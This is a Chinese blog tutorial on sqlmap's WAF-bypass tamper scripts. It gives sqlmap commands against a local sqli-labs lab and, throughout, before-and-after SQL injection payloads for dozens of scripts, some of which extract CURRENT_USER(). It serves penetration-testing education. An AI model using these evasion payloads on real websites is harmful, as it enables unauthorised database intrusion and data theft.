網站腳本(安全檢測)

上一篇文章我們講瞭sqlmap工具來註入網站點這裡,在實際生活中大多網站做瞭防護措施,今天要講的腳本就是sqlmap自帶的繞過防護措施的腳本有什麼用(僅傳播安全知識,切勿非法攻擊,有其他想要瞭解的歡迎留言)下一篇文章將會降到sqlmap繞過防護腳本在Mysql、Mssql、Oracle、PostgreSQL、Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB等數據庫中的利用原理腳本使用sqlmap -u http://192.168.26.136/sqli-labs/Less-2/?id=1 –batch –tamper space2morehash.py,space2hash.py -f -v 3space2morehash.py腳本:將空格替換為#號以及更多隨機字符串、換行符space2hash.py腳本:將空格替換為#(0x23)號、隨機字符串以及換行符通過這兩個腳本可以將註入數據打亂來繞過WAF的檢測,如:從下圖可以看到使用腳本後,sqlmap註入數據被處理的情況註意:這兩個腳本隻針對後臺數據庫是MYSQL時使用Sqlmap –u http://192.168.26.136/sqli-labs/Less-1/?id=1 –batch –tamper charunicodeencode.py,percentage.py -f -v 3如果web應用使用asp/asp.net開發時,charunicodeencode.py和percentage.py可以幫助你逃避Waf的檢測。percentage.py腳本會在每個字符前增加一個%號charunicodeencode.py腳本會對字符進行Unicode-url編碼註意:此腳本隻針對ASP/ASP.NET時有效,執行效果如:sqlmap -u http://192.168.26.136/sqli-labs/Less-1/?id=1 –batch –tamper charencode.py -v 3charencode.py和chardoubleencode.py是兩個用URL來編碼註入數據的tamper腳本,他們在繞過不同的關鍵詞過濾時很有作用charencode.py腳本:URL編碼,chardoubleencode.py腳本:雙URL編碼,如:sqlmap -u http://192.168.26.136/sqli-labs/Less-2/?id=1 –batch –tamperapostrophemask.py -v 3apostrophemask.py腳本:會對註入數據中的引號使用UTF8寬字編碼,可以sqlmap -u http://192.168.26.136/sqli-labs/Less-1/?id=1 –batch –tamperapostrophenullencode.py -v 3apostrophenullencode.py腳本用於繞過過濾雙引號,替換字符和雙引號,如:腳本介紹apostrophemask.py腳本名稱apostrophemask.py腳本作用用utf8寬字符代替引號實現效果原數據”1 AND ‘1’=’1″通過腳本轉換後’1 AND %EF%BC%871%EF%BC%87=%EF%BC%871’測試過的數據庫未知equaltolike.py腳本名稱:equaltolike.py腳本作用用like代替(=)等號實現效果:原數據SELECT * FROM users WHERE id=1通過腳本轉換後SELECT * FROM users WHERE id LIKE 1測試過的數據庫Microsoft SQL Server 2005,MySQL 4、5.0、5.5space2dash.py腳本名稱:space2dash.py腳本作用將空格字符(“ “)替換為註釋(“—“) 加一個隨機的字符串和一個新行(“\ n”)實現效果:原數據’1 AND 9227=9227’通過腳本轉換後’1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227’測試過的數據庫MSSQL,SQLitegreatest.py腳本名稱:greatest.py腳本作用繞過過濾”>” ,用GREATEST替換大於號實現效果:原數據’1 AND A > B’通過腳本轉換後’1 AND GREATEST(A,B+1)=A’測試過的數據庫MySQL 4、5.0、5.5,Oracle 10g,PostgreSQL 8.3、8.4、9.0space2hash.py腳本名稱:space2hash.py腳本作用將空格替換為#(0x23)號、隨機字符串以及換行符實現效果:原數據1 AND 9227=9227通過腳本轉換後1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227測試過的數據庫MySQL 4.0 、5.0必須是:MySQLapostrophenullencode.py腳本名稱:apostrophenullencode.py腳本作用繞過過濾雙引號,替換字符和雙引號實現效果:原數據”1 AND ‘1’=’1″通過腳本轉換後’1 AND %00%271%00%27=%00%271’測試過的數據庫MySQL 4、5.0、5.5,Oracle 10g,PostgreSQL 8.3、8.4、9.0halfversionedmorekeywords.py腳本名稱:halfversionedmorekeywords.py腳本作用當數據庫為mysql時繞過防火墻,在每個關鍵字之前添加MySQL版本註釋實現效果原數據”value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa”通過腳本轉換後”value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND ‘QDWa’=’QDWa”測試過的數據庫MySQL 4.0.18,5.0.22必須是:MySQL < 5.1space2morehash.py腳本名稱:space2morehash.py腳本作用將空格替換為#號以及更多隨機字符串、換行符實現效果:原數據’1 AND 9227=9227’通過腳本轉換後’1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227’測試過的數據庫MySQL 5.1.41必須是:MySQL >= 5.1.13appendnullbyte.py腳本名稱:appendnullbyte.py腳本作用在有效負荷結束位置加載零字節字符編碼實現效果:原數據’1 AND 1=1’通過腳本轉換後’1 AND 1=1%00’測試過的數據庫Microsoft Accessifnull2ifisnull.py腳本名稱:ifnull2ifisnull.py腳本作用繞過對IFNULL過濾,替換類似’IFNULL(A, B)’為’IF(ISNULL(A), B, A)’實現效果:原數據’IFNULL(1, 2)’通過腳本轉換後’IF(ISNULL(1),2,1)’測試過的數據庫MySQL 5.0、5.5必須是:MySQL、SQLite (possibly)、SAP MaxDB (possibly)space2mssqlblank.py腳本名稱:space2mssqlblank.py腳本作用將空格替換為其它空符號(ascii值范圍0x01-0x0F)實現效果:原數據’SELECT id FROM users’通過腳本轉換後’SELECT%0Eid%0DFROM%07users’測試過的數據庫Microsoft SQL Server 2000、Microsoft SQL Server 2005必須是:Microsoft SQL ServerØbase64encode.py腳本名稱:base64encode.py腳本作用用base64編碼替換實現效果:原數據”1’ AND SLEEP(5)#”通過腳本轉換後’MScgQU5EIFNMRUVQKDUpIw==’測試過的數據庫未知space2mssqlhash.py腳本名稱:space2mssqlhash.py腳本作用將空格替換為#(0x23)加上一個換行符\n(0x0A)實現效果:原數據’1 AND 9227=9227’通過腳本轉換後’1%23%0AAND%23%0A9227=9227’測試過的數據庫必須是:MSSQL,MySQLmodsecurityversioned.py腳本名稱:modsecurityversioned.py腳本作用過濾空格,包含完整的查詢版本註釋實現效果:原數據’1 AND 2>1–‘通過腳本轉換後’1 /*!30874AND 2>1*/–‘測試過的數據庫MySQL 5.0必須是:MySQLspace2mysqlblank.py腳本名稱:space2mysqlblank.py腳本作用將空格替換其它空白符號(ascii值范圍0x09-0x0D)實現效果:原數據’SELECT id FROM users’通過腳本轉換後’SELECT%0Bid%0DFROM%0Cusers’測試過的數據庫MySQL 5.1必須是:MySQLØbetween.py腳本名稱:between.py腳本作用用between替換大於號(>),格式’NOT BETWEEN 0 AND #’用between替換等於號(=),格式’BETWEEN # AND #’實現效果:原數據’1 AND A > B–”1 AND A = B–‘通過腳本轉換後’1 AND A NOT BETWEEN 0 AND B–”1 AND A BETWEEN B AND B–‘測試過的數據庫Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5Oracle 10g,PostgreSQL 8.3, 8.4, 9.0modsecurityzeroversioned.py腳本名稱:modsecurityzeroversioned.py腳本作用包含瞭完整的查詢與零版本註釋實現效果:原數據’1 AND 2>1–‘通過腳本轉換後’1 /*!00000AND 2>1*/–‘測試過的數據庫MySQL 5.0必須是:MySQLØspace2mysqldash.py腳本名稱:space2mysqldash.py腳本作用將空格字符(“ ”)替換為註釋符(“–”)加上一個換行符(“\ n”)實現效果:原數據’1 AND 9227=9227’通過腳本轉換後’1–%0AAND–%0A9227=9227’測試過的數據庫MySQL,MSSQLmultiplespaces.py腳本名稱:multiplespaces.py腳本作用圍繞SQL關鍵字添加多個空格實現效果:原數據’1 UNION SELECT foobar’通過腳本轉換後’1 UNION SELECT foobar’測試過的數據庫未知Øspace2plus.py腳本名稱:space2plus.py腳本作用將空格(“ ”)字符替換為加號字符(+)實現效果:原數據’SELECT id FROM users’通過腳本轉換後’SELECT+id+FROM+users’測試過的數據庫未知bluecoat.py腳本名稱:bluecoat.py腳本作用將一個有效的sql關鍵字(SELECT|UPDATE|INSERT|DELETE)後的空格字符替換為0x09,並將=符號替換為LIKE實現效果:原數據’SELECT id FROM users where id = 1’通過腳本轉換後’SELECT%09id FROM users where id LIKE 1’測試過的數據庫MySQL 5.1、SGOSnonrecursivereplacement.py腳本名稱:nonrecursivereplacement.py腳本作用繞過很弱的自定義過濾器。雙重查詢語句。取代predefined SQL關鍵字with表示 suitable for替代(例如 .replace(“SELECT”、””))filters實現效果:原數據’1 UNION SELECT 2–‘通過腳本轉換後’1 UNIOUNIONN SELESELECTCT 2–‘測試過的數據庫未知space2randomblank.py腳本名稱:space2randomblank.py腳本作用將空格(“ ”)替換為其它有效字符,ascii值范圍(0x09,0x0A,0x0C,0x0D)實現效果:原數據’SELECT id FROM users’通過腳本轉換後’SELECT%0Did%0DFROM%0Ausers’測試過的數據庫Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5Oracle 10g,PostgreSQL 8.3, 8.4, 9.0percentage.py腳本名稱:percentage.py腳本作用在每個字符前增加一個%號(asp允許每個字符前面添加一個%號,所以此腳本隻用於asp)實現效果:原數據’SELECT FIELD FROM TABLE’通過腳本轉換後’%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E’測試過的數據庫Microsoft SQL Server 2000, 2005,MySQL 5.1.56, 5.5.11 PostgreSQL 9.0sp_password.py腳本名稱:sp_password.py腳本作用追加sp_password從DBMS日志的自動模糊處理的有效載荷的末尾實現效果:原數據’1 AND 9227=9227– ‘通過腳本轉換後’1 AND 9227=9227– sp_password’測試過的數據庫必須是:MSSQLchardoubleencode.py腳本名稱:chardoubleencode.py腳本作用雙URL編碼後有字符(不處理已編碼的)實現效果:原數據’SELECT FIELD FROM%20TABLE’通過腳本轉換後’%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545’測試過的數據庫未知unionalltounion.py腳本名稱:unionalltounion.py腳本作用用UNION SELECT替換UNION ALL SELECT實現效果:原數據’-1 UNION ALL SELECT’通過腳本轉換後’-1 UNION SELECT’測試過的數據庫未知charencode.py腳本名稱:charencode.py腳本作用URL編碼實現效果:原數據’SELECT FIELD FROM%20TABLE’通過腳本轉換後’%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45’測試過的數據庫Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5Oracle 10g,PostgreSQL 8.3, 8.4, 9.0randomcase.py腳本名稱:randomcase.py腳本作用將關鍵字替換為隨機大小字實現效果:原數據’INSERT’通過腳本轉換後’INseRt’測試過的數據庫Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5Oracle 10g,PostgreSQL 8.3, 8.4, 9.0unmagicquotes.py腳本名稱:unmagicquotes.py腳本作用將引用字符( ‘ )替換成一個多字節組合的(% bf % 27),(用於繞過 magic_quotes/addslashes函數的特性)實現效果:原數據”1′ AND 1=1″通過腳本轉換後’1%bf%27 AND 1=1– ‘測試過的數據庫未知randomcomments.py腳本名稱:randomcomments.py腳本作用在SQL關鍵字中添加隨機註釋實現效果:原數據’INSERT’通過腳本轉換後’I/**/N/**/SERT’測試過的數據庫未知charunicodeencode.py腳本名稱:charunicodeencode.py腳本作用Unicode-url編碼字符串(不處理已經編碼)隻針對:ASP,ASP.NET實現效果原數據’SELECT FIELD%20FROM TABLE’通過腳本轉換後’%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045’測試過的數據庫Microsoft SQL Server 2000, Microsoft SQL Server 2005 MySQL 5.1.56,PostgreSQL 9.0.3securesphere.py腳本名稱:securesphere.py腳本作用追加特殊的字符串實現效果:原數據’1 AND 1=1’通過腳本轉換後”1 AND 1=1 and ‘0having’=’0having'”測試過的數據庫未知versionedmorekeywords.py腳本名稱:versionedmorekeywords.py腳本作用給每個關鍵字增加MySQL版本的註釋實現效果原數據’1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#’通過腳本轉換後’1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#’測試過的數據庫MySQL 5.1.56, 5.5.11必須是:MySQL >= 5.1.13space2comment.py腳本名稱:space2comment.py腳本作用將空格字符(“ ”)替換為註釋“/ * */”實現效果原數據’SELECT id FROM users’通過腳本轉換後’SELECT/**/id/**/FROM/**/users’測試過的數據庫Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5Oracle 10g,PostgreSQL 8.3, 8.4, 9.0halfversionedmorekeywords.py腳本名稱:halfversionedmorekeywords.py腳本作用在每個關鍵字之前添加瞭MySQL版本註釋實現效果原數據”value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa”通過腳本轉換後”value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND ‘QDWa’=’QDWa”測試過的數據庫MySQL 4.0.18, 5.0.22必須是:MySQL < 5.1varnish.py腳本名稱:varnish.py腳本作用附加一個HTTP請求參數繞過WAF防火墻的保護實現效果:原數據X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X)X-remote-IP: TARGET_PROXY_IP (184.189.250.X) X-originating-IP: TARGET_LOCAL_IP (127.0.0.1)x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X)X-remote-IP: * or %00 or %0A通過腳本轉換後測試過的數據庫lowercase.py腳本名稱:lowercase.py腳本作用將關鍵字替換為小字實現效果:原數據’INSERT’通過腳本轉換後’insert’測試過的數據庫Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5Oracle 10g, PostgreSQL 8.3, 8.4, 9.0versionedkeywords.py腳本名稱:versionedkeywords.py腳本作用為每個非功能性關鍵字增加MySQL版本註釋實現效果:原數據’1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#’通過腳本轉換後’1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#’測試過的數據庫MySQL 4.0.18, 5.1.56, 5.5.11必須是:MySQL

本文出自快速备案,转载时请注明出处及相应链接。

本文永久链接: https://www.175ku.com/41448.html